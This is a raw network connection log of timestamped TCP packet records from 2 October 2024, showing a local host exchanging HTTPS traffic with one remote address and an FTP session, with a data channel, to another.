Oct 2, 2024 15:45:03.168458939 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.168482065 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.168601990 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.201082945 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.201175928 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.201201916 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.201268911 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.258375883 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.258436918 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.258465052 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.258474112 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.258486032 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.258514881 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.258557081 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.258654118 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.258712053 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.259007931 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.259097099 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.259366989 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.259434938 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.259630919 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.259696960 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.260160923 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.260229111 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.260303020 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.260373116 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.260401011 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.260456085 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.260468006 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.260561943 CEST	443	53087	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:03.260612965 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:03.271917105 CEST	53087	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:05.728233099 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:05.733441114 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:05.733560085 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:06.380393028 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:06.381259918 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:06.386184931 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:06.610336065 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:06.610460043 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:06.615547895 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:06.910408020 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:06.910543919 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:06.915503025 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:07.139238119 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:07.140248060 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:07.145145893 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:07.368819952 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:07.369743109 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:07.375911951 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:07.600334883 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:07.600740910 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:07.606667042 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:07.830780029 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:07.833735943 CEST	53089	50668	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:07.838740110 CEST	50668	53089	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:07.838845968 CEST	53089	50668	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:07.838990927 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:07.843791008 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:08.469501972 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:08.469736099 CEST	53089	50668	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:08.469815969 CEST	53089	50668	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:08.474814892 CEST	50668	53089	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:08.475426912 CEST	50668	53089	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:08.475467920 CEST	53089	50668	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:08.520148039 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:08.698957920 CEST	21	53088	5.2.84.236	192.168.2.10
Oct 2, 2024 15:45:08.738905907 CEST	53088	21	192.168.2.10	5.2.84.236
Oct 2, 2024 15:45:14.626118898 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:14.626154900 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:14.626231909 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:14.635996103 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:14.636012077 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.138822079 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.139091969 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.140841007 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.140852928 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.141077042 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.192115068 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.233803988 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.275404930 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.355858088 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.355890989 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.355897903 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.357801914 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.357827902 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.380321980 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.381810904 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.381839037 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.427407026 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.446130037 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.446176052 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.446193933 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.446764946 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.446764946 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.447617054 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.447638035 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.448801041 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.448822975 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.448864937 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.448864937 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.448865891 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.448875904 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.449803114 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.449803114 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.466861963 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.466876030 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.466969967 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.466969967 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.532865047 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.533473015 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.533528090 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.533543110 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.533740997 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.533740997 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.533891916 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.534459114 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.534459114 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.534713030 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.535494089 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.535641909 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.536325932 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.536499023 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.536572933 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.536603928 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.537708044 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.553764105 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.554028988 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.619735003 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.619918108 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.620023966 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.620084047 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.620084047 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.620084047 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.620096922 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.620394945 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.620524883 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.620842934 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.620898008 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.620898008 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.620898008 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.620904922 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.620995998 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.621750116 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.621750116 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.621756077 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.621800900 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.625983000 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.626328945 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.626499891 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.626568079 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.626568079 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.626568079 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.626574993 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.626955986 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.627072096 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.627321005 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.627393007 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.627393007 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.627393007 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.627401114 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.627808094 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.640397072 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.640487909 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.640537024 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.640537977 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.640547037 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.640568972 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.640676022 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.706806898 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.707257986 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.707402945 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.707403898 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.707416058 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.707659960 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.707901001 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.707962990 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.707962990 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.707962990 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.707968950 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.708389044 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.708735943 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.708982944 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.709039927 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.709039927 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.709039927 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.709048986 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.709192038 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.709410906 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.709484100 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.709484100 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.709484100 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.709490061 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.709542990 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.709759951 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.709800005 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.709805012 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.709845066 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.709845066 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.709938049 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.710150957 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.710206985 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.710206985 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.710212946 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.710364103 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.711400986 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.711400986 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.711406946 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.713802099 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.727319002 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.727404118 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.793051958 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.793416977 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.793476105 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.793476105 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.793487072 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.793657064 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.793716908 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.793771029 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.793771029 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.793771029 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.793776989 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.793869972 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.793930054 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.793940067 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.793987989 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.794048071 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.794053078 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.794145107 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.794295073 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.794455051 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.794493914 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.794493914 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.794501066 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.794543982 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.794579983 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.794640064 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.794786930 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.795095921 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.795331001 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.795391083 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.795391083 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.795391083 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.795398951 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.795476913 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.795564890 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.795903921 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.795983076 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.795983076 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.795983076 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.795989037 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.797802925 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.813883066 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.813966990 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.879966974 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.880085945 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.880095959 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.880122900 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.880156040 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.880213022 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.880237103 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.880244017 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.880285978 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.880285978 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.880893946 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881012917 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881069899 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.881069899 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.881076097 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881154060 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881207943 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.881207943 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.881212950 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881263018 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881387949 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881448030 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.881448030 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.881448030 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.881454945 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881499052 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881607056 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881772041 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881799936 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.881799936 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.881807089 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881934881 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.881997108 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.881997108 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.882006884 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.882021904 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.882281065 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.882311106 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.882311106 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.882316113 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.882414103 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.882476091 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.882476091 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.882493019 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.901137114 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.901802063 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.901810884 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.957803011 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.966720104 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.966738939 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.966769934 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.966806889 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.966818094 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.966823101 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.966830015 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.966900110 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.966911077 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.966933966 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.966941118 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.967065096 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.967094898 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.967118025 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.967158079 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.967158079 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.967163086 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.967325926 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.967406034 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.967410088 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.967677116 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.967859983 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.967916965 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.967972994 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.967972994 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.967972994 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.967978954 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.968087912 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.968219042 CEST	443	53090	67.212.175.162	192.168.2.10
Oct 2, 2024 15:45:15.968266010 CEST	53090	443	192.168.2.10	67.212.175.162
Oct 2, 2024 15:45:15.968266010 CEST	53090	443	192.168.2.10	67.212.175.162
